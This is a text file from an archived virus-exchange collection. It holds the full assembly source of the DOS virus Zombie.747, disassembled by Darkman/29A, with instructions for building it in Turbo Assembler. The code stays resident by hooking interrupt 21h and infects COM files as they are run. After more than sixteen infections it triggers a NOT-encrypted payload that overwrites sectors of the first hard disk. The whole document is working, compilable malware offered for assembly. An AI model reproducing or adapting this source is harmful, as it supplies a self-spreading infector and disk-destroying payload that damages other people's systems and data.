home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CODBRK3.ZIP / CB0302.TXT < prev    next >
Text File  |  1998-03-24  |  15KB  |  434 lines

  1. comment *
  2.                    Zombie.747
  3.                  Disassembly by
  4.                   Darkman/29A
  5.  
  6.   Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
  7.   load and execute program, except COMMAND.COM, by appending the virus to the
  8.   infected COM file.
  9.  
  10.   To compile Zombie.747 with Turbo Assembler v 4.0 type:
  11.     TASM /M ZOMBI747.ASM
  12.     TLINK /t /x ZOMBI747.OBJ
  13. *
  14.  
  15. .model tiny
  16. .code
  17.  org   100h                 ; Origin of Zombie.747
  18.  
  19. code_begin:
  20.          call    crypt_virus
  21.  
  22.          nop
  23.          nop
  24.          nop
  25.          nop
  26.          nop
  27. virus_begin:
  28.          call    delta_offset
  29. delta_offset:
  30.          pop     bp          ; Load BP from stack
  31.          sub     bp,03h         ; BP = delta offset
  32.  
  33.          jmp     virus_begin_
  34. stack_end:
  35. stack_         db      7ah dup(?)      ; Stack
  36. stack_begin:
  37. int21_addr   dd      ?             ; Address of interrupt 21h
  38. virus_seg    dw      ?             ; Segment of virus
  39. stack_seg    dw      ?             ; Stack segment
  40. stack_ptr    dw      ?             ; Stack pointer
  41. infect_off   dw      offset infect_file-offset virus_begin
  42. infect_mark  db      04h dup(?)      ; infection mark
  43. infect_count dw      ?             ; Infection counter
  44. virus_offset equ     word ptr $+01h     ; Offset of virus
  45. infect_code  db      0e9h,?,?         ; JMP imm16 (opcode 0e9h)
  46. origin_code  db      0cdh,20h,?      ; Original code of infected file
  47. code_begin_  dw      100h         ; Offset of beginning of code
  48.  
  49. int21_virus  proc    near         ; Interrupt 21h of Zombie.747
  50.          pushf             ; Save flags at stack
  51.          cmp     ax,4b00h         ; Load and execute program?
  52.          je      load_and_exe     ; Equal? Jump to load_and_exe
  53.  
  54.          cmp     ax,4b69h         ; Zombie.747 function?
  55.          je      virus_functi     ; Equal? Jump to virus_functi
  56.          popf             ; Load flags from stack
  57.  
  58.          jmp     dword ptr cs:[offset int21_addr-offset virus_begin]
  59.          endp
  60. virus_functi:
  61.          mov     bx,ax         ; Already resident
  62.  
  63.          popf             ; Load flags from stack
  64.  
  65.          iret             ; Interrupt return!
  66. load_and_exe:
  67.          mov     cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin
  68.  
  69.          call    setup_stack
  70.  
  71.          popf             ; Load flags from stack
  72.  
  73.          jmp     dword ptr cs:[offset int21_addr-offset virus_begin]
  74.  
  75. setup_stack  proc    near         ; Setup stack of the virus
  76.          mov     cs:[offset stack_seg-offset virus_begin],ss
  77.          mov     cs:[offset stack_ptr-offset virus_begin],sp
  78.  
  79.          mov     ss,cs:[offset virus_seg-offset virus_begin]
  80.          mov     sp,offset stack_begin-offset virus_begin
  81.  
  82.          push    ax bx cx dx es ds si di bp
  83.  
  84.          call    cs:[offset infect_off-offset virus_begin]
  85.  
  86.          cmp     word ptr cs:[offset infect_count-offset virus_begin],10h
  87.          jbe     load_stack      ; Below or equal? Jump to load_stack
  88.  
  89.          call    payload
  90. load_stack:
  91.          pop     bp di si ds es dx cx bx ax
  92.  
  93.          mov     ss,cs:[offset stack_seg-offset virus_begin]
  94.          mov     sp,cs:[offset stack_ptr-offset virus_begin]
  95.  
  96.          ret             ; Return!
  97.          endp
  98.  
  99. payload      proc    near         ; Payload of the virus
  100.          mov     si,offset crypt_begin-offset virus_begin
  101.          mov     cx,(crypt_end-crypt_begin)
  102. decrypt_loop:
  103.          not     byte ptr [si]     ; Decrypt a byte
  104.  
  105.          inc     si          ; Increase index register
  106.  
  107.          loop    decrypt_loop
  108. crypt_begin:
  109.          mov     ax,303h         ; Write disk sector(s)
  110.          db      31h,0dbh         ; XOR BX,BX
  111.          mov     es,bx         ; ES:BX = pointer to data buffer
  112.          mov     cx,02h         ; CX = sector- and cylinder number
  113.          mov     dx,80h         ; DX = drive- and head number
  114.          int     13h
  115. crypt_end:
  116.          mov     si,offset crypt_begin-offset virus_begin
  117.          mov     cx,(crypt_end-crypt_begin)
  118. encrypt_loop:
  119.          not     byte ptr [si]     ; Encrypt a byte
  120.  
  121.          inc     si          ; Increase index register
  122.  
  123.          loop    encrypt_loop
  124.  
  125.          ret             ; Return!
  126.          endp
  127.  
  128. examine_file proc    near         ; Examine file
  129.          cld             ; Clear direction flag
  130. find_dot:
  131.          lodsb             ; AL = byte of filename
  132.          cmp     al,'.'              ; Found the dot in the filename
  133.          je      examine_fil_     ; Equal? Jump to examine_fil_
  134.  
  135.          or      al,al         ; End of filename?
  136.          loopnz  find_dot         ; Not zero? Jump to find_dot
  137.          jz      examine_exit     ; Zero? Jump to examine_exit
  138. examine_fil_:
  139.          mov     ax,[si-06h]     ; AX = word of filename
  140.          or      ax,2020h         ; Lowcase word of filename
  141.          cmp     ax,'mm'             ; COMMAND.COM?
  142.          je      examine_exit     ; Equal? Jump to examine_exit
  143.  
  144.          lodsw             ; AX = word of extension
  145.          or      ax,2020h         ; Lowcase word of extension
  146.          cmp     ax,'oc'             ; Correct extension?
  147.          jne     examine_exit     ; Not equal? Jump to examine_exit
  148.  
  149.          lodsb             ; AL = byte of extension
  150.          or      al,20h         ; Lowcase byte of extension
  151.          cmp     al,'m'              ; Correct extension?
  152.          jne     examine_exit     ; Not equal? Jump to examine_exit
  153.  
  154.          clc             ; Clear carry flag
  155.  
  156.          ret             ; Return!
  157. examine_exit:
  158.          stc             ; Set carry flag
  159.  
  160.          ret             ; Return!
  161.          endp
  162.  
  163. set_file_pos proc    near         ; Set current file position
  164.          xor     cx,cx         ; Zero CX
  165.          or      dx,dx         ; Zero DX?
  166.          jns     set_file_po_     ; Positive? Jump to set_file_po_
  167.  
  168.          not     cx          ; Invert each bit of low-order wor...
  169. set_file_po_:
  170.          mov     ah,42h         ; Set current file position
  171.          int     21h
  172.  
  173.          ret             ; Return!
  174.          endp
  175.  
  176. infect_file  proc    near         ; Infect COM file
  177.          mov     si,dx         ; SI = offset of filename
  178.          call    examine_file
  179.          jnc     open_file         ; No error? Jump to open_file
  180.  
  181.          jmp     infect_exit_
  182. open_file:
  183.          mov     ax,3d02h         ; Open file (read/write)
  184.          int     21h
  185.          jnc     read_file         ; No error? Jump to read_file
  186.  
  187.          jmp     infect_exit_
  188. read_file:
  189.          mov     bx,ax         ; BX = file handle
  190.  
  191.          mov     dx,cs         ; DX = code segment
  192.          mov     ds,dx         ; DS "  "      "
  193.  
  194.          mov     ah,3fh         ; Read from file
  195.          mov     cx,03h         ; Read three bytes
  196.          mov     dx,offset origin_code-offset virus_begin
  197.          int     21h
  198.          jnc     examine_mark     ; No error? Jump to examine_mark
  199.  
  200.          jmp     close_file
  201. examine_mark:
  202.          mov     dx,-28h         ; DX = low-order word of offset fr...
  203.          mov     al,02h         ; Set current file position (EOF)
  204.          call    set_file_pos
  205.          jc      close_file      ; Error? Jump to close_file
  206.  
  207.          nop
  208.          nop
  209.          nop
  210.  
  211.          mov     ah,3fh         ; Read from file
  212.          mov     cx,04h         ; Read four bytes
  213.          mov     dx,offset infect_mark-offset virus_begin
  214.          int     21h
  215.          jc      close_file      ; Error? Jump to close_file
  216.  
  217.          nop
  218.          nop
  219.          nop
  220.  
  221.          cmp     word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
  222.          jne     calc_offset     ; Not equal? Jump to calc_offset
  223.  
  224.          nop
  225.          nop
  226.          nop
  227.  
  228.          cmp     word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
  229.          je      close_file      ; Previosly infected? Jump to clos...
  230.  
  231.          nop
  232.          nop
  233.          nop
  234. calc_offset:
  235.          xor     dx,dx         ; Zero DX
  236.          mov     al,02h         ; Set current file position (EOF)
  237.          call    set_file_pos
  238.          jc      close_file      ; Error? Jump to close_file
  239.  
  240.          nop
  241.          nop
  242.          nop
  243.  
  244.          sub     ax,03h         ; AX = offset of virus
  245.          mov     ds:[offset virus_offset-offset virus_begin],ax
  246.  
  247.          mov     ax,5700h         ; Get file's date and time
  248.          int     21h
  249.          push    cx dx         ; Save registers at stack
  250.  
  251.          mov     ah,40h         ; Write to file
  252.          mov     cx,(code_end-virus_begin)
  253.          xor     dx,dx         ; Zero DX
  254.          int     21h
  255.          jc      infect_exit     ; Error? Jump to infect_exit
  256.  
  257.          nop
  258.          nop
  259.          nop
  260.  
  261.          cmp     cx,ax         ; Written all of the virus?
  262.          jne     infect_exit     ; Not equal? Jump to infect_exit
  263.  
  264.          nop
  265.          nop
  266.          nop
  267.  
  268.          mov     al,00h         ; Set current file position (SOF)
  269.          xor     dx,dx         ; Zero DX
  270.          call    set_file_pos
  271.          jc      infect_exit     ; Error? Jump to infect_exit
  272.  
  273.          nop
  274.          nop
  275.          nop
  276.  
  277.          mov     ah,40h         ; Write to file
  278.          mov     cx,03h         ; Write three bytes
  279.          mov     dx,offset infect_code-offset virus_begin
  280.          int     21h
  281.          jc      infect_exit     ; Error? Jump to infect_exit
  282.  
  283.          nop
  284.          nop
  285.          nop
  286. infect_exit:
  287.          inc     word ptr cs:[offset infect_count-offset virus_begin]
  288.  
  289.          mov     ax,5701h         ; Set file's date and time
  290.          pop     dx cx         ; Load registers from stack
  291.          int     21h
  292. close_file:
  293.          mov     ah,3eh         ; Close file
  294.          int     21h
  295. infect_exit_:
  296.          ret             ; Return!
  297.          endp
  298.  
  299. get_psp_own  proc    near         ; Get PSP segment of owner or spec...
  300.          mov     ah,52h         ; Get list of lists
  301.          int     21h
  302.          mov     bx,es:[bx-02h]     ; BX = segment of first memory con...
  303.  
  304.          mov     es,bx         ; ES =    "    "    "     "      "
  305.          mov     bx,es:[01h]     ; BX = PSP segment of owner or spe...
  306.  
  307.          ret             ; Return!
  308.          endp
  309.  
  310. allocate_mem proc    near         ; Allocate memory
  311.          push    es          ; Save ES at stack
  312.  
  313.          mov     ax,cs         ; AX = segment of PSP for current ...
  314.          dec     ax          ; AX = segment of Memory Control B...
  315.          mov     es, ax         ; ES =    "    "    "       "     "
  316.  
  317.          mov     bx,es:[03h]     ; BX = size of memory block in par...
  318.          pop     es          ; Load ES from stack
  319.  
  320.          sub     bx,cx         ; Subtract number of paragraphs to...
  321.          dec     bx          ; BX = new size in paragraphs
  322.          mov     ah,4ah         ; Resize memory block
  323.          int     21h
  324.          jc      allocat_exit     ; Error? Jump to allocat_exit
  325.  
  326.          nop
  327.          nop
  328.          nop
  329.  
  330.          mov     ah,48h         ; Allocate memory
  331.          mov     bx,cx         ; BX = number of paragraphs to all...
  332.          int     21h
  333.          jc      allocat_exit     ; Error? Jump to allocat_exit
  334.  
  335.          nop
  336.          nop
  337.          nop
  338.  
  339.          push    ax          ; Save AX at stack
  340.          dec     ax          ; AX = segment of Memory Control B...
  341.          mov     es,ax         ; ES =    "    "    "       "     "
  342.  
  343.          push    es          ; Save ES at stack
  344.          call    get_psp_own
  345.          pop     es          ; Load ES from stack
  346.  
  347.          mov     es:[01h],bx     ; Store PSP segment of owner or sp...
  348.          pop     es          ; Load ES from stack
  349.  
  350.          clc             ; Clear carry flag
  351. allocat_exit:
  352.          ret             ; Return!
  353.          endp
  354. virus_begin_:
  355.          mov     ax,4b69h         ; Zombie.747 function
  356.          xor     bx,bx         ; Zero BX
  357.          int     21h
  358.          cmp     bx,4b69h         ; Already resident?
  359.          je      virus_exit      ; Equal? Jump to virus_exit
  360.  
  361.          nop
  362.          nop
  363.          nop
  364.  
  365.          mov     cx,(data_end-virus_begin+0fh)/10h
  366.          call    allocate_mem
  367.          jc      virus_exit      ; Error? Jump to virus_exit
  368.  
  369.          nop
  370.          nop
  371.          nop
  372.  
  373.          mov     si,bp         ; SI = delta offset
  374.          xor     di,di         ; Zero DI
  375.          mov     cx,(code_end-virus_begin)
  376.          cld             ; Clear direction flag
  377.          rep     movsb         ; Move virus to top of memory
  378.  
  379.          mov     es:[offset virus_seg-offset virus_begin],es
  380.  
  381.          push    es          ; Save ES at stack
  382.          mov     ax,3521h         ; Get interrupt vector 21h
  383.          int     21h
  384.          mov     dx,es         ; DX = segment of interrupt 21h
  385.          pop     es          ; Load ES from stack
  386.  
  387.          mov     word ptr es:[offset int21_addr-offset virus_begin],bx
  388.          mov     word ptr es:[offset int21_addr+02h-offset virus_begin],dx
  389.  
  390.          mov     ax,2521h         ; Set interrupt vector 21h
  391.  
  392.          push    es          ; Save ES at stack
  393.          pop     ds          ; Load DS from stack (ES)
  394.  
  395.          mov     dx,offset int21_virus-offset virus_begin
  396.          int     21h
  397. virus_exit:
  398.          mov     ax,cs         ; AX = segment of PSP for current ...
  399.          mov     ds,ax         ; DS =    "    "   "   "     "     "
  400.          mov     es,ax         ; ES =    "    "   "   "     "     "
  401.  
  402.          lea     si,origin_code     ; SI = offset of origin_code
  403.          sub     si,offset virus_begin
  404.          add     si,bp         ; Add delta offset to offset of co...
  405.  
  406.          mov     di,100h         ; DI = offset of beginning of code
  407.          mov     cx,03h         ; Move three bytes
  408.          cld             ; Clear direction flag
  409.          rep     movsb         ; Move the original code to beginning
  410.  
  411.          lea     bx,code_begin_     ; BX = offset of code_begin_
  412.          sub     bx,offset virus_begin
  413.          add     bx,bp         ; Add delta offset to offset of co...
  414.  
  415.          jmp     [bx]
  416.  
  417.          db      'Zombie - Danish woodoo hackers (14AUG91)'
  418. code_end:
  419. data_end:
  420. crypt_virus  proc             ; Encrypt payload of the virus
  421.          lea     si,crypt_begin     ; SI = offset of crypt_begin
  422.          mov     cx,(crypt_end-crypt_begin)
  423. crypt_loop:
  424.          not     byte ptr [si]     ; Encrypt a byte
  425.  
  426.          inc     si          ; Increase index register
  427.  
  428.          loop    crypt_loop
  429.  
  430.          ret             ; Return!
  431.          endp
  432.  
  433. end         code_begin
  434.